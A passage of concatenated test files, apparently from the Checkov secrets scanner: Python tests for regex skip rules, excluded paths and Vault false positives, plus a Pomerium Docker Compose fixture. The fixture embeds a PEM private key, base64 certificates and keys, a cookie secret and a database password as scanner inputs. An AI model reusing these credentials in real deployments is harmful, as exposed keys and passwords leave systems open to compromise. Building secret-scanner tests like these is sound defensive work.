self.assertEqual(summary['skipped'], 10) self.assertEqual(summary['parsing_errors'], 0) def test_skip_file_pattern(self) -> None: """ Pass regex pattern which is only apply on certain file pattern """ runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "skip_test/skip_test1") report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=["CKV_SECRET_6:.*skip1.json$"])) summary = report.get_summary() self.assertEqual(summary['passed'], 0) self.assertEqual(summary['failed'], 10) self.assertEqual(summary['skipped'], 10) self.assertEqual(summary['parsing_errors'], 0) def test_invalid_regex(self) -> None: """ Pass invalid regex pattern """ runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "skip_test/skip_test1") report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=["CKV_SECRET_6:[a-z]++$"])) summary = report.get_summary() self.assertEqual(summary['passed'], 0) self.assertEqual(summary['failed'], 20) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) def test_one_good_one_invalid_regex(self) -> None: """ Pass both good & invalid regex pattern """ runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "skip_test/skip_test1") report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=["CKV_SECRET_6:[a-z]++$", "CKV_SECRET_6:.*skip1.json$"])) summary = report.get_summary() self.assertEqual(summary['passed'], 0) self.assertEqual(summary['failed'], 10) self.assertEqual(summary['skipped'], 10) self.assertEqual(summary['parsing_errors'], 0) def test_two_files_regex_patterns(self) -> None: """ Pass two different regex patterns (file patterns) """ runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "skip_test/skip_test1") report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=["CKV_SECRET_6:.*skip2.json$", "CKV_SECRET_6:.*skip1.json$"])) summary = report.get_summary() self.assertEqual(summary['passed'], 0) self.assertEqual(summary['failed'], 0) self.assertEqual(summary['skipped'], 20) self.assertEqual(summary['parsing_errors'], 0) def test_two_dir_regex_patterns(self) -> None: """ Pass two different regex patterns (directory related) """ runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "skip_test") report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=["CKV_SECRET_6:.*skip1.*.json$", "CKV_SECRET_6:.*skip2.*.json$"])) summary = report.get_summary() self.assertEqual(summary['passed'], 0) self.assertEqual(summary['failed'], 0) self.assertEqual(summary['skipped'], 30) self.assertEqual(summary['parsing_errors'], 0) ================================================ FILE: tests/secrets/test_utils.py ================================================ from checkov.secrets.utils import filter_excluded_paths def test_filter_excluded_paths(): # given root_dir = "path/to" names = ["test", "node_modules", ".github", ".projen", ".git", "coverage", ".idea", "src"] # when filter_excluded_paths(root_dir=root_dir, names=names, excluded_paths=[]) # then assert names.sort() == ["test", ".github", ".projen", "coverage", "src"].sort() def test_filter_excluded_paths_with_extra_paths(): # given root_dir = "path/to" names = ["test", "node_modules", ".github", ".projen", ".git", "coverage", ".idea", "src"] excluded_paths = [".projen'"] # when filter_excluded_paths(root_dir=root_dir, names=names, excluded_paths=excluded_paths) # then assert names.sort() == ["test", ".github", "coverage", "src"].sort() ================================================ FILE: tests/secrets/test_vault_secrets.py ================================================ from checkov.secrets.runner import should_filter_vault_secret HIGH_ENTROPY_CHECK_ID = 'CKV_SECRET_80' def test_vault_secrets_false_positives(): fp_secrets = [ 'DB_RBMQ_PASSWORD: vault: secret/data/product-web/mcrp-qwr-v2/mabbot#PASSWORD', 'WEB_PASSWORD: vault: secret/data/product/fwrp-qe-v3/parme3#PASSWORD', 'PASS: vault: secret/sr/dt/pro/fwrtq1#2/weg#PASSWORD' ] for fp_secret in fp_secrets: assert should_filter_vault_secret(fp_secret, HIGH_ENTROPY_CHECK_ID) def test_secrets_without_vault(): real_secrets = [ 'ldap_pwd = k%udk423u4%P8=H_', 'password = J6T4ww+##14m', 'PS = 1r4#Gf2FDF$343r3m2me3r%' ] for real_secret in real_secrets: assert not should_filter_vault_secret(real_secret, HIGH_ENTROPY_CHECK_ID) ================================================ FILE: tests/secrets/utils_for_test.py ================================================ from typing import List from checkov.common.output.record import Record def _filter_reports_for_incident_ids(failed_checks: List[Record], policy_names: List[str]) \ -> List[Record]: return [failed_check for failed_check in failed_checks if failed_check.check_id in policy_names] ================================================ FILE: tests/secrets/yml_multiline/pomerium_compose.yml ================================================ # https://github.com/pomerium/pomerium/blob/main/integration/clusters/single/compose.yml networks: main: {} services: fortio: command: - server - -cert - /fortio_config/trusted.pem - -key - /fortio_config/trusted-key.pem depends_on: fortio-init: condition: service_completed_successfully image: fortio/fortio:1.17.0 networks: main: aliases: - fortio ports: - 8079:8079/tcp volumes: - fortio_config:/fortio_config fortio-init: command: - sh - -c - | echo "$$CERT" >/fortio_config/trusted.pem echo "$$KEY" >/fortio_config/trusted-key.pem environment: CERT: | -----BEGIN CERTIFICATE----- MIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw gYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs ZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy dCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx NzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w bWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg KENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8 HLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD yVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv Wyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t jObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq bZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd 9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE DDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi BgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF AAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X c2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE AEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW OxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK qymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI 6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD kH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+ B6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE xjUE8XUu -----END CERTIFICATE----- KEY: | -----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg ldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/ EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs Z31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx CYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP mqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT DvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq DT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW 8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r Gy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP CT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT bLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI SsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB 2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7 axzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp uhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB BQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey uBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r 2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK CL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ fN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl cBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA Hhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS KrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ YpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh gmLh4w/CcPyb9ZyXceWU/nU= -----END PRIVATE KEY----- image: busybox:latest networks: main: aliases: - fortio-init volumes: - fortio_config:/fortio_config fortio-ready: command: - -wait - http://fortio:8080 - -timeout - 10m image: jwilder/dockerize:0.6.1 networks: main: aliases: - fortio-ready mock-idp: command: - --provider - oidc - --port - "8024" - --root-url - https://mock-idp.localhost.pomerium.io/ image: pomerium/mock-idps:${MOCK_IDPS_TAG:-master} networks: main: aliases: - mock-idp ports: - 8024:8024/tcp mock-idp-ready: command: - -wait - http://mock-idp:8024/.well-known/openid-configuration - -timeout - 10m image: jwilder/dockerize:0.6.1 networks: main: aliases: - mock-idp-ready pomerium: depends_on: fortio-ready: condition: service_completed_successfully mock-idp-ready: condition: service_completed_successfully postgres-ready: condition: service_completed_successfully trusted-1-httpdetails-ready: condition: service_completed_successfully trusted-2-httpdetails-ready: condition: service_completed_successfully trusted-3-httpdetails-ready: condition: service_completed_successfully trusted-httpdetails-ready: condition: service_completed_successfully untrusted-httpdetails-ready: condition: service_completed_successfully verify-ready: condition: service_completed_successfully websocket-echo-ready: condition: service_completed_successfully wrongly-named-httpdetails-ready: condition: service_completed_successfully environment: AUTHENTICATE_SERVICE_URL: https://authenticate.localhost.pomerium.io CERTIFICATE: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVVakNDQXJxZ0F3SUJBZ0lSQUtOYUVxQ21tWmZobWNZZ1p5MDFXQ3N3RFFZSktvWklodmNOQVFFTEJRQXcKZ1lNeEhqQWNCZ05WQkFvVEZXMXJZMlZ5ZENCa1pYWmxiRzl3YldWdWRDQkRRVEVzTUNvR0ExVUVDd3dqWTJGcwpaV0pBWTJGc1pXSXRjR010YkdsdWRYZ2dLRU5oYkdWaUlFUnZlSE5sZVNreE16QXhCZ05WQkFNTUttMXJZMlZ5CmRDQmpZV3hsWWtCallXeGxZaTF3WXkxc2FXNTFlQ0FvUTJGc1pXSWdSRzk0YzJWNUtUQWVGdzB5TVRBNE1UQXgKTnpNeU1UQmFGdzB5TXpFeE1UQXhPRE15TVRCYU1GY3hKekFsQmdOVkJBb1RIbTFyWTJWeWRDQmtaWFpsYkc5dwpiV1Z1ZENCalpYSjBhV1pwWTJGMFpURXNNQ29HQTFVRUN3d2pZMkZzWldKQVkyRnNaV0l0Y0dNdGJHbHVkWGdnCktFTmhiR1ZpSUVSdmVITmxlU2t3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQzgKSExCQUl6WGtQZWVnbGRVZlJLSzJqUXhTVlpENWcrcXNqQXpwbXJxL0F0bXdlSzFjR2NPdFo2ZU9MK3A4YnJQRAp5VmhEVDBRbEkvTy9FS2dDT0ZGeFVEcW9SODJpWTA2U2FjQWpIbmk2K1BPOXRWUmJGVjB3MTRCREFKU3BCK1Z2Cld5bCtGb1BEVi92c1ozMUZ0WXcrRXdxa2JEeC9rYVQ5dXpmK0xKZGxrZjE0blFRajhFa3kvOGQzbVdKYmIvOXQKak9ic2FRZ0o1TEx4Q1lkSW1rcjc3WDJMTXVEdy8xdHBINjQyR0UyNU5yZ202UUhseUtTZllYbzM4djgzZWJFcQpiWlVERytaaW9BclBtcW1rYXdVV3czZWtoajgwU0pnL1RLOVBSYU4vVnZjSTFQZ0FkN0xaenRVUmVTbVR5NWhkCjlyNnJPQnhweHduVER2SGtCbjZ2QWdNQkFBR2piREJxTUE0R0ExVWREd0VCL3dRRUF3SUZvREFUQmdOVkhTVUUKRERBS0JnZ3JCZ0VGQlFjREFUQWZCZ05WSFNNRUdEQVdnQlNGaGxoWWdFZktUcGxWT2VuZVZHMyszSUUvVFRBaQpCZ05WSFJFRUd6QVpnaGNxTG14dlkyRnNhRzl6ZEM1d2IyMWxjbWwxYlM1cGJ6QU5CZ2txaGtpRzl3MEJBUXNGCkFBT0NBWUVBdWZRQUY3OXM3YzFnbVo5Q0lLQlNHa0hoK1NIMDFDdUtZbm5IaU1vd0hzVGlvRmFVQVFzZC9QNFgKYzJYQnFjMzRlVDNtQ3ZwZ1pqSGJqejZKbG5UWUp4dUx2VnFuVkIzZW10V3JiMWNRdmg4QnBoeHNwVGxTOHVpRQpBRWYvbmd0cHpmQS9mNGxwR2t6clEwY3lQa0VKR3o1MTFxOTdpdHpuOVJaWnpWVFp4TlZGU1AydlZoTk5RVnNXCk94YWtjdllSZ256OEFPUVMzT1BIajJGUWMzaWlic2hjdDVsZUl3WVpGY3hJTkdIUjZLTDYrL0xTZVBOQ0VNbUsKcXltVlBrUUdzSWNVNkdROWZ4YVN1NG1wK0lVQUxQcm9pekVWSThTVms1bk9tM0hJZXorWmZYaHpmbkd4MDZTSQo2TnVvUVFQcVVCZVplWG4yWUZZaGlwZVJkclF4dkEzNi9ZWGEvQWtYQ2VVMHBYeGJ0WEtjdmF0ZnJpNUtuWUpECmtINTlhK2FGa1RzbDQxdGZJMmNuUllWZGRxWFZsM096TGJjZ0FGTG4xV2VDMXh4M3hSWGk3S2xkb2tPbHZndisKQjZuYVdmQ3hSbFdaL2xzbUhhZTRrYzFXSDRLYzduSytJVGI0MEVralY2OC9BN2tyWnNOMVZjcU50cG9tWWtnRQp4alVFOFhVdQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== CERTIFICATE_AUTHORITY: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUUxekNDQXorZ0F3SUJBZ0lRWjEzOWNkL3BhUGRrUzJKeUF1N2tFREFOQmdrcWhraUc5dzBCQVFzRkFEQ0IKZ3pFZU1Cd0dBMVVFQ2hNVmJXdGpaWEowSUdSbGRtVnNiM0J0Wlc1MElFTkJNU3d3S2dZRFZRUUxEQ05qWVd4bApZa0JqWVd4bFlpMXdZeTFzYVc1MWVDQW9RMkZzWldJZ1JHOTRjMlY1S1RFek1ERUdBMVVFQXd3cWJXdGpaWEowCklHTmhiR1ZpUUdOaGJHVmlMWEJqTFd4cGJuVjRJQ2hEWVd4bFlpQkViM2h6WlhrcE1CNFhEVEl4TURneE1ERTMKTXpJd09Wb1hEVE14TURneE1ERTNNekl3T1Zvd2dZTXhIakFjQmdOVkJBb1RGVzFyWTJWeWRDQmtaWFpsYkc5dwpiV1Z1ZENCRFFURXNNQ29HQTFVRUN3d2pZMkZzWldKQVkyRnNaV0l0Y0dNdGJHbHVkWGdnS0VOaGJHVmlJRVJ2CmVITmxlU2t4TXpBeEJnTlZCQU1NS20xclkyVnlkQ0JqWVd4bFlrQmpZV3hsWWkxd1l5MXNhVzUxZUNBb1EyRnMKWldJZ1JHOTRjMlY1S1RDQ0FhSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnR1BBRENDQVlvQ2dnR0JBTmJLeU16NQpNVlc2WUtkamgxb0lOMU1uN1BFMnBINVNiSlNwV3hkQUdoZEJrQmtwQWE3T3hhcmpINUtWa0NUU2E3b25jbGE3CnFOdUpaUzZtQm1veEYrUitjUjNqeUdkVUFZbG96bDFqbGZxTElmQy8rZzdWN1ZtT0puOTh0akI0MmZhdHhMbDYKV1BBdzFKRE5zV3RRZmhLaGJjSHV0N1JzRjByTU9PSGN3eXdUUjdMT3lDbUllbDFwY21wVjRoYlZjVDZlVndvUApIWHlKU2E5Y3FhTVE1WHJkb2dhaTRJcVpaSUdMSGVMc1RWdXRPZ0pGWEVldmxYL1FUM3NXb21FY3R6aDM4SnM0CjlEaUFQRDZkNFk3L0NQTFlFZmsyOUpROU5aaHBnRHNpOWh1NUZISFpjWHdmMUlIbHcvQ0JWZ242aitqbXZLS3oKOTBNYTFvcXV2M1c2ZHR0aWQveENjTEd1MlMrOTZUenJ5a21veTVWYWNMdFZFUDQxWW1vVmxzOTFybG83b2xwZQpRV0Zibm1jbzczOVRJLzRoK0hvZG9scGVyUUVSUWw3dUNucEtWUFozV29rS3VSaDVwa3FrUXAvYXJRanR3Y1J0Ckc0M0NyRHBibCt1U2pNQ0F4aGE5NThlVFl2dG9qVE1udkx0c0dJRDFoR1hucWx3KzVLaktyZ1JIclFJREFRQUIKbzBVd1F6QU9CZ05WSFE4QkFmOEVCQU1DQWdRd0VnWURWUjBUQVFIL0JBZ3dCZ0VCL3dJQkFEQWRCZ05WSFE0RQpGZ1FVaFlaWVdJQkh5azZaVlRucDNsUnQvdHlCUDAwd0RRWUpLb1pJaHZjTkFRRUxCUUFEZ2dHQkFBMUYvYXByCmw2cE5UM01wL014aFVVZ282dXNFSkNyeUdRY0xSZmV4eVFYR04zaHVDbUlyUDU1VkZhOEVUUEF0anNyNlBNZTcKN3Z2RWo4ZUZ1Mkp0S292bFF3TmV3WVU5Y2pBTUNWYUZpTmJyUWEyMGh6aFdjMmpzNmR5aWxkRTYvRFB6YmVkcwpLREF4aEZOcDM1U2x3dFJ0S2sxU3p4SnhzcVN3amZ4SThmcCtSLzB3TzhnMGZXVGRNMmdDcFJ3WU1Od0pFTEVnCitkU2x2SkN3dXUrcnp4TGFsemFQRjFQTVRXNzJPRUxhbC9qNXNEKzJWeXRRNGsrSFVEYnl0MkRuUVQ3WVEzem8KcTAyeDJ1MnNtMVdXL28vdWg4cGpQeGtHUXFMMm1yeVpzNlZIOVZDVTNRa0tORHNzTmQ3MWxyM3dQb0U0WVJIZQpVdnpEMWVEZWVsekJVRk5JcERDamRDc0w1NXlJUHFVc3I2bG1qcEJQTDB2ZWEzM1FUTWJjc1N4dTB1bUdYRGJVCjY2anVVNFoxak9FMHdDbEl2YU82OTlKK0UyZ0JlMWpVTjZBdDZiOEJTb1pxQ3FYWW9ESEdlaTlSQlVkdmdxdG8Ka1Zzb0pmREkvVEZNZWtZZ3BMNVVWWW1MZGZncUxQUFJQOXBRQkxEeDNtc3plQXFudmZUSUNBemZYZz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K CERTIFICATE_KEY: LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2UUlCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktjd2dnU2pBZ0VBQW9JQkFRQzhITEJBSXpYa1BlZWcKbGRVZlJLSzJqUXhTVlpENWcrcXNqQXpwbXJxL0F0bXdlSzFjR2NPdFo2ZU9MK3A4YnJQRHlWaERUMFFsSS9PLwpFS2dDT0ZGeFVEcW9SODJpWTA2U2FjQWpIbmk2K1BPOXRWUmJGVjB3MTRCREFKU3BCK1Z2V3lsK0ZvUERWL3ZzClozMUZ0WXcrRXdxa2JEeC9rYVQ5dXpmK0xKZGxrZjE0blFRajhFa3kvOGQzbVdKYmIvOXRqT2JzYVFnSjVMTHgKQ1lkSW1rcjc3WDJMTXVEdy8xdHBINjQyR0UyNU5yZ202UUhseUtTZllYbzM4djgzZWJFcWJaVURHK1ppb0FyUAptcW1rYXdVV3czZWtoajgwU0pnL1RLOVBSYU4vVnZjSTFQZ0FkN0xaenRVUmVTbVR5NWhkOXI2ck9CeHB4d25UCkR2SGtCbjZ2QWdNQkFBRUNnZ0VBQjI4aTBBWVVOU2IxSm5XRmJLenJ1VWN0dTN0Q05Yb3ZKZzZLM0JpUFZNa3EKRFQxWHJKSWdGNVJISE9scjNPc0xFNnU3WHoyY3RkTUw2UHNoaUtUdEl3dEdwaXZnUnBDaUpFc2xtcjJ6aThBVwo4ZUplcVJMWkVmc1NTSk9YVEc3UmRHc240cUhGSjAwczJaVGxjSUhTUHduRm0rWGpKaTk5VThHNFhzVW9YbzByCkd5KzBWQ3VVN004Z0lDRUhIc3JRTzlYREQzblQyaml1NVRqckt3anV0M0Vtb0pzc0k1YnF4MzMrT0J1NUJwQ1AKQ1Q0NzNENDNQOXAzcWkvWG5mdnFHU0cyT2o0T2FqVjRmcjBvOUIzS3ZJeGtNZW03V2xJM2p5eTFrQXB5WHFWVApiTGtMRnlXQk5UV1VaMlIvMnd4bXVvQzZtTFp3ODc5TUxDS012azFkb1FLQmdRRGhtd0dhZkpOeW1UaUVRWlJJClNzUXg0c2VxZk9LZmdGQzdvaHFIOWNST091OElKMW83cTJwTTJXNFhpVitTM3dUZFBHbWNhNklPalgyM2lzVkIKMnVxTmk5UzRNbkkyL2QyMkdkL0JSOXJ2QncxZUdKb0ticld4MjJmRThRQ0VXVDFBbk8rRHVEMGpDODV5UmxzNwpheHpsYU1yeEV1M0xJOVVFN050cmRRaUJ5UUtCZ1FEVmRJNmNlSVZCVDZSZ3ZWR3Q4emtMalBJRmpoUUVIQUlwCnVoaXJncXBTNkNYOUJseWYyK280MHptZmozaGU1ckNjRW9CNU1zZU0rRGdGYmNWaDJlL01WbllpTk53NkpDREIKQlFrRjQwOHBacFNlS1h2TC9veVYva0ltTVRKL3RVRFkwRVh4TXdTUEpCMFdsdGJXcmVWSUhvcGlnWFJDYmFleQp1QkhWQnYvNHR3S0JnSHdIdWVQeTVTVTFzMnFTbXpEN1djMkxQZll1M25DT0hOUnJGR2IyNk11UmZ1UmVyaTdyCjJHOFRnb0VTRnljcDBRVElOOCsxSk0wWFlLeE5jSkQ2QjhWMXdLYmJwUXN5bW5lSTFnanV0aUIvSWd3L1BrREsKQ0w0VlA0RjRkYTVOV1cxeVdnTnlnTG9KdlovNXFpS0tpc0pjMEdXazRIS3o2bUxnek9qUTJMSnhBb0dCQUxIWgpmTjJZZVlieVljYU0xMXAxVmlsdWxWVFZqWTNpL0ZaaURSNFNML0lHSldqTi9Temc0aVhZc0tGbXUrZHVsT1psCmNCQUxwRUtycXBtelhZdHJONmJzdjE4KzVlTzNxR2JLMkRyRXEzZVdWZXYyS29UTW9ieHo3ZysrWEJJV0ptTEEKSGhhYTZJaVBrWUQ1eXlWeUhLRGJlWGdiM285ZXFDUjd3N2ZZTGp5L0FvR0FJNEQrTUZraXZ3VUY3aHFmNWVkUwpLcmx0d21vZEhpcVhOYlZrd2JXMUFGUEpiaVlhaTRZRmZLNElBYmlmL1lteGY5Rzc4YU9rcjlacENJek9rRFBaCllwRXdRR1dzQWhFbENGdmM4RS81ZEhFU1NwK3RXdFArTmx1aW1wRnFpRGczL1NVbk13TzJ4SDBuaExhMHplamgKZ21MaDR3L0NjUHliOVp5WGNlV1UvblU9Ci0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K COOKIE_SECRET: UYgnt8bxxK5G2sFaNzyqi5Z+OgF8m2akNc0xdQx718w= DATABROKER_STORAGE_CONNECTION_STRING: postgres://pomerium:password@postgres:5432/test DATABROKER_STORAGE_TYPE: postgres ENVOY_ADMIN_ADDRESS: 0.0.0.0:9901 GOOGLE_CLOUD_SERVERLESS_AUTHENTICATION_SERVICE_ACCOUNT: ewoiYXV0aF9wcm92aWRlcl94NTA5X2NlcnRfdXJsIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0IiwKImF1dGhfdXJpIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0IiwKImNsaWVudF9lbWFpbCI6ICJyZWRhY3RlZEBwb21lcml1bS1yZWRhY3RlZC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsCiJjbGllbnRfaWQiOiAiMTAxMjE1OTkwNDU4MDAwMzM0Mzg3IiwKImNsaWVudF94NTA5X2NlcnRfdXJsIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0IiwKInByaXZhdGVfa2V5IjogIi0tLS0tQkVHSU4gUFJJVkFURSBLRVktLS0tLVxuTUlJRXZRSUJBREFOQmdrcWhraUc5dzBCQVFFRkFBU0NCS2N3Z2dTakFnRUFBb0lCQVFDOEhMQkFJelhrUGVlZ1xubGRVZlJLSzJqUXhTVlpENWcrcXNqQXpwbXJxL0F0bXdlSzFjR2NPdFo2ZU9MK3A4YnJQRHlWaERUMFFsSS9PL1xuRUtnQ09GRnhVRHFvUjgyaVkwNlNhY0FqSG5pNitQTzl0VlJiRlYwdzE0QkRBSlNwQitWdld5bCtGb1BEVi92c1xuWjMxRnRZdytFd3FrYkR4L2thVDl1emYrTEpkbGtmMTRuUVFqOEVreS84ZDNtV0piYi85dGpPYnNhUWdKNUxMeFxuQ1lkSW1rcjc3WDJMTXVEdy8xdHBINjQyR0UyNU5yZ202UUhseUtTZllYbzM4djgzZWJFcWJaVURHK1ppb0FyUFxubXFta2F3VVd3M2VraGo4MFNKZy9USzlQUmFOL1Z2Y0kxUGdBZDdMWnp0VVJlU21UeTVoZDlyNnJPQnhweHduVFxuRHZIa0JuNnZBZ01CQUFFQ2dnRUFCMjhpMEFZVU5TYjFKbldGYkt6cnVVY3R1M3RDTlhvdkpnNkszQmlQVk1rcVxuRFQxWHJKSWdGNVJISE9scjNPc0xFNnU3WHoyY3RkTUw2UHNoaUtUdEl3dEdwaXZnUnBDaUpFc2xtcjJ6aThBV1xuOGVKZXFSTFpFZnNTU0pPWFRHN1JkR3NuNHFIRkowMHMyWlRsY0lIU1B3bkZtK1hqSmk5OVU4RzRYc1VvWG8wclxuR3krMFZDdVU3TThnSUNFSEhzclFPOVhERDNuVDJqaXU1VGpyS3dqdXQzRW1vSnNzSTVicXgzMytPQnU1QnBDUFxuQ1Q0NzNENDNQOXAzcWkvWG5mdnFHU0cyT2o0T2FqVjRmcjBvOUIzS3ZJeGtNZW03V2xJM2p5eTFrQXB5WHFWVFxuYkxrTEZ5V0JOVFdVWjJSLzJ3eG11b0M2bUxadzg3OU1MQ0tNdmsxZG9RS0JnUURobXdHYWZKTnltVGlFUVpSSVxuU3NReDRzZXFmT0tmZ0ZDN29ocUg5Y1JPT3U4SUoxbzdxMnBNMlc0WGlWK1Mzd1RkUEdtY2E2SU9qWDIzaXNWQlxuMnVxTmk5UzRNbkkyL2QyMkdkL0JSOXJ2QncxZUdKb0ticld4MjJmRThRQ0VXVDFBbk8rRHVEMGpDODV5UmxzN1xuYXh6bGFNcnhFdTNMSTlVRTdOdHJkUWlCeVFLQmdRRFZkSTZjZUlWQlQ2Umd2Vkd0OHprTGpQSUZqaFFFSEFJcFxudWhpcmdxcFM2Q1g5Qmx5ZjIrbzQwem1majNoZTVyQ2NFb0I1TXNlTStEZ0ZiY1ZoMmUvTVZuWWlOTnc2SkNEQlxuQlFrRjQwOHBacFNlS1h2TC9veVYva0ltTVRKL3RVRFkwRVh4TXdTUEpCMFdsdGJXcmVWSUhvcGlnWFJDYmFleVxudUJIVkJ2LzR0d0tCZ0h3SHVlUHk1U1UxczJxU216RDdXYzJMUGZZdTNuQ09ITlJyRkdiMjZNdVJmdVJlcmk3clxuMkc4VGdvRVNGeWNwMFFUSU44KzFKTTBYWUt4TmNKRDZCOFYxd0tiYnBRc3ltbmVJMWdqdXRpQi9JZ3cvUGtES1xuQ0w0VlA0RjRkYTVOV1cxeVdnTnlnTG9KdlovNXFpS0tpc0pjMEdXazRIS3o2bUxnek9qUTJMSnhBb0dCQUxIWlxuZk4yWWVZYnlZY2FNMTFwMVZpbHVsVlRWalkzaS9GWmlEU